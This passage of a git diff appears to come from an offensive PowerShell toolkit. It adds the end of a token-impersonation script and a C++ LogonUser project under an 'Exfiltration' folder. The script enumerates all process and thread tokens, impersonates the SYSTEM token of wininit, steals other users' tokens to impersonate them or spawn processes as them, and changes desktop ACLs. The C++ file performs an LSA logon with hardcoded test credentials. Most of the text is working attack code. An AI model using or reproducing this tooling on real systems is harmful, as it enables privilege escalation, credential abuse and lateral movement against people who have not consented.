$TokenByUser[$Key].IsElevated) + { + if (($Token.PrivilegesEnabled.Count + $Token.PrivilegesAvailable.Count) -gt ($TokenByUser[$Key].PrivilegesEnabled.Count + $TokenByUser[$Key].PrivilegesAvailable.Count)) + { + $TokenByUser[$Key] = $Token + } + } + #If the new token is elevated and the current token isn't, use the new token + elseif (($Token.IsElevated -eq $true) -and ($TokenByUser[$Key].IsElevated -eq $false)) + { + $TokenByUser[$Key] = $Token + } + } + } + + #Filter tokens by privilege + foreach ($Token in $AllTokens) + { + $Fullname = "$($Token.Domain)\$($Token.Username)" + + #Filter currently enabled privileges + foreach ($Privilege in $Token.PrivilegesEnabled) + { + if ($TokenByEnabledPriv.ContainsKey($Privilege)) + { + if($TokenByEnabledPriv[$Privilege] -notcontains $Fullname) + { + $TokenByEnabledPriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByEnabledPriv.Add($Privilege, @($Fullname)) + } + } + + #Filter currently available (but not enable) privileges + foreach ($Privilege in $Token.PrivilegesAvailable) + { + if ($TokenByAvailablePriv.ContainsKey($Privilege)) + { + if($TokenByAvailablePriv[$Privilege] -notcontains $Fullname) + { + $TokenByAvailablePriv[$Privilege] += ,$Fullname + } + } + else + { + $TokenByAvailablePriv.Add($Privilege, @($Fullname)) + } + } + } + + $ReturnDict = @{ + TokenByUser = $TokenByUser + TokenByEnabledPriv = $TokenByEnabledPriv + TokenByAvailablePriv = $TokenByAvailablePriv + } + + return (New-Object PSObject -Property $ReturnDict) + } + + + function Invoke-ImpersonateUser + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken + ) + + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) #todo does this need to be freed + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $Success = $ImpersonateLoggedOnUser.Invoke($NewHToken) + if (-not $Success) + { + $Errorcode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "Failed to ImpersonateLoggedOnUser. Error code: $Errorcode" + } + } + + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + + return $Success + } + + + function Create-ProcessWithToken + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $hToken, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $ProcessName, + + [Parameter(Position=2)] + [String] + $ProcessArgs + ) + Write-Verbose "Entering Create-ProcessWithToken" + #Duplicate the token so it can be used to create a new process + [IntPtr]$NewHToken = [IntPtr]::Zero + $Success = $DuplicateTokenEx.Invoke($hToken, $Win32Constants.MAXIMUM_ALLOWED, [IntPtr]::Zero, 3, 1, [Ref]$NewHToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "DuplicateTokenEx failed. ErrorCode: $ErrorCode" + } + else + { + $StartupInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$STARTUPINFO) + [IntPtr]$StartupInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($StartupInfoSize) + $memset.Invoke($StartupInfoPtr, 0, $StartupInfoSize) | Out-Null + [System.Runtime.InteropServices.Marshal]::WriteInt32($StartupInfoPtr, $StartupInfoSize) #The first parameter (cb) is a DWORD which is the size of the struct + + $ProcessInfoSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$PROCESS_INFORMATION) + [IntPtr]$ProcessInfoPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ProcessInfoSize) + + $ProcessNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("$ProcessName") + $ProcessArgsPtr = [IntPtr]::Zero + if (-not [String]::IsNullOrEmpty($ProcessArgs)) + { + $ProcessArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("`"$ProcessName`" $ProcessArgs") + } + + $FunctionName = "" + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + #Cannot use CreateProcessWithTokenW when in Session0 because CreateProcessWithTokenW throws an ACCESS_DENIED error. I believe it is because + #this API attempts to modify the desktop ACL. I would just use this API all the time, but it requires that I enable SeAssignPrimaryTokenPrivilege + #which is not ideal. + Write-Verbose "Running in Session 0. Enabling SeAssignPrimaryTokenPrivilege and calling CreateProcessAsUserW to create a process with alternate token." + Enable-Privilege -Privilege SeAssignPrimaryTokenPrivilege + $Success = $CreateProcessAsUserW.Invoke($NewHToken, $ProcessNamePtr, $ProcessArgsPtr, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + $FunctionName = "CreateProcessAsUserW" + } + else + { + Write-Verbose "Not running in Session 0, calling CreateProcessWithTokenW to create a process with alternate token." + $Success = $CreateProcessWithTokenW.Invoke($NewHToken, 0x0, $ProcessNamePtr, $ProcessArgsPtr, 0, [IntPtr]::Zero, [IntPtr]::Zero, $StartupInfoPtr, $ProcessInfoPtr) + $FunctionName = "CreateProcessWithTokenW" + } + if ($Success) + { + #Free the handles returned in the ProcessInfo structure + $ProcessInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ProcessInfoPtr, [Type]$PROCESS_INFORMATION) + $CloseHandle.Invoke($ProcessInfo.hProcess) | Out-Null + $CloseHandle.Invoke($ProcessInfo.hThread) | Out-Null + } + else + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "$FunctionName failed. Error code: $ErrorCode" + } + + #Free StartupInfo memory and ProcessInfo memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($StartupInfoPtr) + $StartupInfoPtr = [Intptr]::Zero + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcessInfoPtr) + $ProcessInfoPtr = [IntPtr]::Zero + [System.Runtime.InteropServices.Marshal]::ZeroFreeGlobalAllocUnicode($ProcessNamePtr) + $ProcessNamePtr = [IntPtr]::Zero + + #Close handle for the token duplicated with DuplicateTokenEx + $Success = $CloseHandle.Invoke($NewHToken) + $NewHToken = [IntPtr]::Zero + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Warning "CloseHandle failed to close NewHToken. ErrorCode: $ErrorCode" + } + } + } + + + function Free-AllTokens + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [PSObject[]] + $TokenInfoObjs + ) + + foreach ($Obj in $TokenInfoObjs) + { + $Success = $CloseHandle.Invoke($Obj.hToken) + if (-not $Success) + { + $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() + Write-Verbose "Failed to close token handle in Free-AllTokens. ErrorCode: $ErrorCode" + } + $Obj.hToken = [IntPtr]::Zero + } + } + + + #Enumerate all tokens on the system. Returns an array of objects with the token and information about the token. + function Enum-AllTokens + { + $AllTokens = @() + + #First GetSystem. The script cannot enumerate all tokens unless it is system for some reason. Luckily it can impersonate a system token. + #Even if already running as system, later parts on the script depend on having a SYSTEM token with most privileges, so impersonate the wininit token. + $systemTokenInfo = Get-PrimaryToken -ProcessId (Get-Process wininit | where {$_.SessionId -eq 0}).Id + if ($systemTokenInfo -eq $null -or (-not (Invoke-ImpersonateUser -hToken $systemTokenInfo.hProcToken))) + { + Write-Warning "Unable to impersonate SYSTEM, the script will not be able to enumerate all tokens" + } + + if ($systemTokenInfo -ne $null -and $systemTokenInfo.hProcToken -ne [IntPtr]::Zero) + { + $CloseHandle.Invoke($systemTokenInfo.hProcToken) | Out-Null + $systemTokenInfo = $null + } + + $ProcessIds = get-process | where {$_.name -inotmatch "^csrss$" -and $_.name -inotmatch "^system$" -and $_.id -ne 0} + + #Get all tokens + foreach ($Process in $ProcessIds) + { + $PrimaryTokenInfo = (Get-PrimaryToken -ProcessId $Process.Id -FullPrivs) + + #If a process is a protected process, it's primary token cannot be obtained. Don't try to enumerate it. + if ($PrimaryTokenInfo -ne $null) + { + [IntPtr]$hToken = [IntPtr]$PrimaryTokenInfo.hProcToken + + if ($hToken -ne [IntPtr]::Zero) + { + #Get the LUID corrosponding to the logon + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id + + $AllTokens += $ReturnObj + } + } + else + { + Write-Warning "Couldn't retrieve token for Process: $($Process.Name). ProcessId: $($Process.Id)" + } + + foreach ($Thread in $Process.Threads) + { + $ThreadTokenInfo = Get-ThreadToken -ThreadId $Thread.Id + [IntPtr]$hToken = ($ThreadTokenInfo.hThreadToken) + + if ($hToken -ne [IntPtr]::Zero) + { + $ReturnObj = Get-TokenInformation -hToken $hToken + if ($ReturnObj -ne $null) + { + $ReturnObj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $Thread.Id + + $AllTokens += $ReturnObj + } + } + } + } + } + + return $AllTokens + } + + + function Invoke-RevertToSelf + { + Param( + [Parameter(Position=0)] + [Switch] + $ShowOutput + ) + + $Success = $RevertToSelf.Invoke() + + if ($ShowOutput) + { + if ($Success) + { + Write-Output "RevertToSelf was successful. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else + { + Write-Output "RevertToSelf failed. Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + } + } + + + #Main function + function Main + { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) + { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + #If running in session 0, force NoUI + if ([System.Diagnostics.Process]::GetCurrentProcess().SessionId -eq 0) + { + Write-Verbose "Running in Session 0, forcing NoUI (processes in Session 0 cannot have a UI)" + $NoUI = $true + } + + if ($PsCmdlet.ParameterSetName -ieq "RevToSelf") + { + Invoke-RevertToSelf -ShowOutput + } + elseif ($PsCmdlet.ParameterSetName -ieq "CreateProcess" -or $PsCmdlet.ParameterSetName -ieq "ImpersonateUser") + { + $AllTokens = Enum-AllTokens + + #Select the token to use + [IntPtr]$hToken = [IntPtr]::Zero + $UniqueTokens = (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser + if ($Username -ne $null -and $Username -ne '') + { + if ($UniqueTokens.ContainsKey($Username)) + { + $hToken = $UniqueTokens[$Username].hToken + Write-Verbose "Selecting token by username" + } + else + { + Write-Error "A token belonging to the specified username was not found. Username: $($Username)" -ErrorAction Stop + } + } + elseif ( $ProcessId -ne $null -and $ProcessId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $ProcessId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ProcessID" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ProcessId $($ProcessId) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($ThreadId -ne $null -and $ThreadId -ne 0) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ThreadId) -and $Token.ThreadId -eq $ThreadId) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by ThreadId" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to ThreadId $($ThreadId) could not be found. Either the thread doesn't exist or the thread is in a protected process and cannot be opened." -ErrorAction Stop + } + } + elseif ($Process -ne $null) + { + foreach ($Token in $AllTokens) + { + if (($Token | Get-Member ProcessId) -and $Token.ProcessId -eq $Process.Id) + { + $hToken = $Token.hToken + Write-Verbose "Selecting token by Process object" + } + } + + if ($hToken -eq [IntPtr]::Zero) + { + Write-Error "A token belonging to Process $($Process.Name) ProcessId $($Process.Id) could not be found. Either the process doesn't exist or it is a protected process and cannot be opened." -ErrorAction Stop + } + } + else + { + Write-Error "Must supply a Username, ProcessId, ThreadId, or Process object" -ErrorAction Stop + } + + #Use the token for the selected action + if ($PsCmdlet.ParameterSetName -ieq "CreateProcess") + { + if (-not $NoUI) + { + Set-DesktopACLs + } + + Create-ProcessWithToken -hToken $hToken -ProcessName $CreateProcess -ProcessArgs $ProcessArgs + + Invoke-RevertToSelf + } + elseif ($ImpersonateUser) + { + Invoke-ImpersonateUser -hToken $hToken | Out-Null + Write-Output "Running As: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + Free-AllTokens -TokenInfoObjs $AllTokens + } + elseif ($PsCmdlet.ParameterSetName -ieq "WhoAmI") + { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + } + else #Enumerate tokens + { + $AllTokens = Enum-AllTokens + + if ($PsCmdlet.ParameterSetName -ieq "ShowAll") + { + Write-Output $AllTokens + } + else + { + Write-Output (Get-UniqueTokens -AllTokens $AllTokens).TokenByUser.Values + } + + Invoke-RevertToSelf + + Free-AllTokens -TokenInfoObjs $AllTokens + } + } + + + #Start the main function + Main +} + diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser.sln b/Exfiltration/LogonUser/LogonUser/LogonUser.sln new file mode 100644 index 0000000..890e833 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 2012 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "logon", "logon\logon.vcxproj", "{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Debug|x64 = Debug|x64 + Release|Win32 = Release|Win32 + Release|x64 = Release|x64 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.ActiveCfg = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|Win32.Build.0 = Debug|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.ActiveCfg = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Debug|x64.Build.0 = Debug|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.ActiveCfg = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|Win32.Build.0 = Release|Win32 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.ActiveCfg = Release|x64 + {D248AC1C-B831-42AE-835A-1B98B2BF9DF3}.Release|x64.Build.0 = Release|x64 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp new file mode 100644 index 0000000..f5b39fd --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.cpp @@ -0,0 +1,137 @@ +// LogonUser.cpp : Defines the entry point for the console application. +// + +#include "stdafx.h" + +using namespace std; + +size_t wcsByteLen( const wchar_t* str ); +void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset ); +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size); +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset); + +int _tmain(int argc, _TCHAR* argv[]) +{ + //Get a handle to LSA + HANDLE hLSA = NULL; + NTSTATUS status = LsaConnectUntrusted(&hLSA); + if (status != 0) + { + cout << "Error calling LsaConnectUntrusted. Error code: " << status << endl; + return -1; + } + if (hLSA == NULL) + { + cout << "hLSA is NULL, this shouldn't ever happen" << endl; + return -1; + } + + //Build LsaLogonUser parameters + LSA_STRING originName = {}; + char originNameStr[] = "qpqp"; + originName.Buffer = originNameStr; + originName.Length = (USHORT)strlen(originNameStr); + originName.MaximumLength = originName.Length; + + ULONG authPackage = 0; + PLSA_STRING authPackageName = new LSA_STRING(); + char authPackageBuf[] = MSV1_0_PACKAGE_NAME; + authPackageName->Buffer = authPackageBuf; + authPackageName->Length = (USHORT)strlen(authPackageBuf); + authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf); + status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage); + if (status != 0) + { + int winError = LsaNtStatusToWinError(status); + cout << "Call to LsaLookupAuthenticationPackage failed. Error code: " << winError; + return -1; + } + + DWORD authBufferSize = 0; + PVOID authBuffer = CreateNtlmLogonStructure(L"VMWORKSTATION", L"testuser", L"Password1", &authBufferSize); + cout << "authBufferSize: " << authBufferSize << endl; + + //Get TokenSource + HANDLE hProcess = GetCurrentProcess();//todo + HANDLE procToken = NULL; + BOOL success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken); + if (!success) + { + DWORD errorCode = GetLastError(); + cout << "Call to OpenProcessToken failed. Errorcode: " << errorCode << endl; + return -1; + } + + TOKEN_SOURCE tokenSource = {}; + DWORD realSize = 0; + success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize); + if (!success) + { + cout << "Call to GetTokenInformation failed." << endl; + return -1; + } + + + //Misc + PVOID profileBuffer = NULL; + ULONG profileBufferSize = 0; + LUID loginId; + HANDLE token = NULL; + QUOTA_LIMITS quotaLimits; + NTSTATUS subStatus = 0; + + status = LsaLogonUser(hLSA, + &originName, + RemoteInteractive, + authPackage, + authBuffer, + authBufferSize, + 0, + &tokenSource, + &profileBuffer, + &profileBufferSize, + &loginId, + &token, + "aLimits, + &subStatus); + + if (status != 0) + { + NTSTATUS winError = LsaNtStatusToWinError(status); + cout << "Error calling LsaLogonUser. Error code: " << winError << endl; + return -1; + } + + cout << "Success!" << endl; + + return 1; +} + +//size will be set to the size of the structure created +PVOID CreateNtlmLogonStructure(wstring domain, wstring username, wstring password, DWORD* size) +{ + size_t wcharSize = sizeof(wchar_t); + + size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((domain.length() + username.length() + password.length()) * wcharSize); + MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]); + size_t offset = sizeof(MSV1_0_INTERACTIVE_LOGON); + + ntlmLogon->MessageType = MsV1_0InteractiveLogon; + offset += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), ntlmLogon, offset); + offset += WriteUnicodeString(username, &(ntlmLogon->UserName), ntlmLogon, offset); + offset += WriteUnicodeString(password, &(ntlmLogon->Password), ntlmLogon, offset); + + *size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere. + return ntlmLogon; +} + +size_t WriteUnicodeString(wstring str, UNICODE_STRING* uniStr, PVOID baseAddress, size_t offset) +{ + const wchar_t* buffer = str.c_str(); + size_t size = str.length() * sizeof(wchar_t); + uniStr->Length = (USHORT)size; + uniStr->MaximumLength = (USHORT)size; + uniStr->Buffer = (PWSTR)((UINT_PTR)baseAddress + offset); + memcpy((PVOID)((UINT_PTR)baseAddress + offset), str.c_str(), size); + return size; +}
\ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj new file mode 100644 index 0000000..7fd8de2 --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj @@ -0,0 +1,158 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{F9DC2AAF-2213-4D87-9F52-283DA1CC6E18}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>LogonUser</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>v110</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>Unicode</CharacterSet> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader>Use</PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader>Use</PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h" /> + <ClInclude Include="targetver.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="LogonUser.cpp" /> + <ClCompile Include="stdafx.cpp"> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader> + <PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader> + </ClCompile> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project>
\ No newline at end of file diff --git a/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters new file mode 100644 index 0000000..f92726f --- /dev/null +++ b/Exfiltration/LogonUser/LogonUser/LogonUser/LogonUser.vcxproj.filters @@ -0,0 +1,36 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="Source Files"> + <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier> + <Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions> + </Filter> + <Filter Include="Header Files"> + <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier> + <Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions> + </Filter> + <Filter Include="Resource Files"> + <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier> + <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions> + </Filter> + </ItemGroup> + <ItemGroup> + <Text Include="ReadMe.txt" /> + </ItemGroup> + <ItemGroup> + <ClInclude Include="stdafx.h"> + <Filter>Header Files</Filter> + </ClInclude> + <ClInclude Include="targetver.h"> + <Filter>Header Files</Filter> + </ClInclude> + </ItemGroup> + <ItemGroup> + <ClCompile Include="stdafx.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + <ClCompile Include="LogonUser.cpp"> + <Filter>Source Files</Filter> + </ClCompile> + </ItemGroup> +</Project>
